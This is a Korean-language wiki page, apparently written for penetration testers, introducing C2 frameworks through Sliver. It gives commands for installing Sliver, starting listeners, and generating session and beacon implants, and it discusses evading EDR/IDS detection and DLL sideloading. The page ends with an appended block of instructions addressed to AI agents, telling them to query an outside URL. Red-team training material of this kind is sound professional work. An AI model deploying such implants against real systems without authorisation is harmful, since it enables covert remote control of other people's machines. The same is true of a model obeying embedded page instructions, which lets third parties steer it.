# C2 Framework 개요

{% hint style="info" %}
C2 Framework 하위 모든 문서는 오픈소스 Sliver를 기준으로 작성되었습니다.
{% endhint %}

모의침투에서는 Kali, 백박스 등의 OS를 클라우드/온프레미스에 올려서 사용할 수 있습니다. C2 프레임워크의 필요성은 프로젝트의 목적성과 방향성에 따라 달라집니다.

단순 목표 달성을 위한 모의침투의 경우 보통 프로젝트 기간이 짧은 경우가 많아, 백도어를 통한 주기적 통신과 잠복하는 경우가 드물지만, 공격자 관점으로 당장의 취약점이 없더라도 잠복하여 정보탈취, 서버 장악을 목표로 할 경우 C2 프레임워크의 사용은 다음과 같은 이유들로 필수적입니다.

* 세션 관리
* 여러 에이전트 동시 체크인 기능
* 연결 안정성
* 탐지 회피 및 작전 보안
* 기능 확장성(파일 업로드/다운로드, 스크린샷, 키로깅, 메모리 모듈 실행 등)
* 멀티 오퍼레이터
* 로그 및 세션 저장

## Sliver

Sliver는 Go 언어로 작성된 오픈소스 C2 프레임워크입니다.

<pre class="language-bash"><code class="lang-bash"><strong># Sliver 설치 및 초기 설정
</strong>wget https://github.com/BishopFox/sliver/releases/latest/download/sliver-server_linux -O /root/sliver-server
chmod +x /root/sliver-server
/root/sliver-server unpack --force
/root/sliver-server daemon &#x26;
/root/sliver-server operator --name kali-op --lhost 127.0.0.1 --save /root/.sliver-client/configs/kali-op_127.0.0.1.cfg

<strong># Sliver 시작
</strong>sliver-client
</code></pre>

## Listener

리스너는 타겟 호스트에서 연결 파일(임플란트)를 실행했을 때 해당 통신이 정상적으로 도달할 수 있도록 대기하는 C2 서버의 통신 엔드포인트입니다.

<pre class="language-bash"><code class="lang-bash"><strong># mTLS Listener (기본 C2 채널, 암호화)
</strong>mtls --lhost 0.0.0.0 --lport 8443

<strong># HTTP Listener (폴백)
</strong>http --lhost 0.0.0.0 --lport 8080

<strong># 리스너 설정 확인
</strong>jobs
</code></pre>

## Implant

세션 모드와 비콘 모드는 통신 연결 방식의 차이 외에는 크게 없기 때문에 비콘 모드에서 자세한 설명들을 다루겠습니다.

### 통신 프로토콜

임플란트가 C2 서버와 통신할 때 사용할 프로토콜의 종류는 다음과 같습니다.

* mTLS : 서버와 클라이언트가 서로 인증서를 확인하며 통신을 암호화
* HTTP : 일반적인 웹 트래픽으로 위장
* DNS : 가장 느리지만 아웃바운드 정책에서 DNS를 막는 경우는 거의 없기 때문에 가장 강력
* WireGuard(UDP) : VPN을 이용한 통신

### 작동 방식

**세션 모드**

세션 모드는 임플란트가 C2와 지속적 연결을 맺는 상태로, 명령어에 대한 즉각적 응답을 얻을 수 있고 연결이 안정적입니다. 하지만 EDR/IDS에 탐지될 확률이 높기 때문에 실습 용도로 적합합니다.

<figure><img src="https://1400861083-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiA9eS35C4waXdT3c51bW%2Fuploads%2FnBUcIxE5WXJd3JD8CORg%2Fimage.png?alt=media&#x26;token=34e5230e-c58e-428d-a7db-e883092e10d5" alt=""><figcaption></figcaption></figure>

<pre class="language-bash"><code class="lang-bash"><strong># 세션 모드 임플란트 생성
</strong>generate --mtls '&#x3C;redirector-ip> --os '&#x3C;target-os>' --arch '&#x3C;target-architecture>'
</code></pre>

**비콘 모드**

비콘 모드는 임플란트를 생성할 때 지정한 시간마다 주기적으로 타겟 호스트에서 C2로 트래픽을 전송하여 명령을 주고받는 방식입니다. 기본적으로 `Sleep → Check-in → 명령 수신 → 실행` 싸이클이 반복됩니다.

연결을 지속하지 않기 때문에 탐지될 확률은 낮으며, Sleep의 주기가 길어질 수록 은닉성이 증가합니다.

<pre class="language-bash"><code class="lang-bash"><strong># 비콘 모드 임플란트 생성
</strong>generate beacon --mtls '&#x3C;redirector-ip>' --os '&#x3C;target-os>' --arch '&#x3C;target-architecture>' --second 30 --jitter 3
</code></pre>

여기서

* mtls : TLS를 통해 통신을 암호화합니다.
* os : 임플란트를 실행할 타겟 호스트의 OS를 지정합니다.
* arch : 임플란트를 실행할 타겟 호스트의 OS 아키텍쳐를 지정합니다.
* second : 비콘을 통한 통신 과정에서 Sleep의 주기를 지정합니다.
* jitter : second로 지정한 시간에서 추가로 랜덤한 주기를 더하여 규칙적인 패턴을 회피합니다.

호스트에서 비콘 임플란트를 실행하면 아래와 같이 비콘 목록에 연결된 호스트가 표기됩니다.

<figure><img src="https://1400861083-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiA9eS35C4waXdT3c51bW%2Fuploads%2FwKLtK3KWd0s3ZYljTAXo%2Fimage.png?alt=media&#x26;token=ce97b23e-b5a1-4780-8d2b-6611dc3259a1" alt=""><figcaption></figcaption></figure>

비콘과 세션 모두 `use id` 를 통해 진입할 수 있으며 명령 실행은 슬리버에 내장된 기능과 임플란트를 통해 직접 바이너리를 실행하는 방식으로 나뉩니다.

{% hint style="info" %}
비콘 모드로 연결된 세션에서도 interactive 명령어를 통해 즉시 세션 모드를 획득할 수 있습니다.
{% endhint %}

### 실행 방식

**API Invocation**

비콘/세션에 진입한 상태에서 help 를 입력하면 사용할 수 있는 슬리버 내장 명령어 목록들이 나옵니다.

<figure><img src="https://1400861083-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiA9eS35C4waXdT3c51bW%2Fuploads%2FZf53K0Zq6KYDepiiWmDB%2Fimage.png?alt=media&#x26;token=c9a6712b-e411-4d6e-b584-f92bae367aac" alt=""><figcaption><p>내장 명령어 목록</p></figcaption></figure>

슬리버에 내장된 명령어들은 모두 추가적인 프로세스 실행 없이 Windows API 통신으로 가져오기 때문에 탐지 가능성이 매우 낮습니다.

<figure><img src="https://1400861083-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiA9eS35C4waXdT3c51bW%2Fuploads%2F8pCsn7zlJCMHPJFBoPWL%2Fimage.png?alt=media&#x26;token=aae6d8d5-25d3-4615-b592-02c12fa6118d" alt=""><figcaption><p>내장 명령 실행</p></figcaption></figure>

**Fork & Run**

포크 앤 런 방식은 직접적으로 대상 시스템에서 새로운 프로세스를 띄워서 실행한 결과를 받아오는 방식입니다.

`execute` 뒤에 명령어를 붙여서 사용할 수 있으며 인자로는 실행할 수 있는 파일을 받습니다.

<figure><img src="https://1400861083-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiA9eS35C4waXdT3c51bW%2Fuploads%2FKdJlQtb412asOiFbk6OU%2Fimage.png?alt=media&#x26;token=3eb16619-6057-46bb-a03b-98639077cc21" alt=""><figcaption><p>ping.exe 실행</p></figcaption></figure>

위와 같이 ping을 했을땐 ping.exe를 임플란트 바이너리의 하위 프로세스로 실행한 뒤 결과를 반환합니다.

<figure><img src="https://1400861083-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiA9eS35C4waXdT3c51bW%2Fuploads%2FG451gKldymQAVMS0HlF2%2Fimage.png?alt=media&#x26;token=a90a8d90-ba4f-4cf5-8687-0056d5640328" alt=""><figcaption><p>임플란트에 의한 ping.exe 프로세스 실행</p></figcaption></figure>

### 파일 포맷

**실행 파일**

윈도우, 리눅스, 맥에서 직접 단일 파일로 실행하는 파일 형태

* EXE, ELF, Mach-O

**라이브러리**

다른 프로세스에 삽입하거나 dll 하이재킹, 사이드로딩 등의 공격에 사용되는 파일 형태

* DLL, Shared Object(.so)

**Shellcode**

파일이 아닌 메모리에 직접 올릴 수 있는 기계어 코드

* Raw shellcode

## Profile

Sliver는 코발트 스트라이크처럼 Malleable C2파일은 없지만 profiles 기능을 통해 임플란트 생성 옵션을 미리 저장해둘 수 있습니다.

<figure><img src="https://1400861083-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiA9eS35C4waXdT3c51bW%2Fuploads%2FpnJ5CZV3z4r34Xs4o5A8%2Fimage.png?alt=media&#x26;token=c1c0cbc2-a416-4c19-887a-dec898d30c17" alt=""><figcaption></figcaption></figure>

## References

{% embed url="<https://medium.com/@mfkrypt/sliver-c2-implants-session-beacons-7c686d6bffbf>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentestwiki.com/c2-framework/c2-framework.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
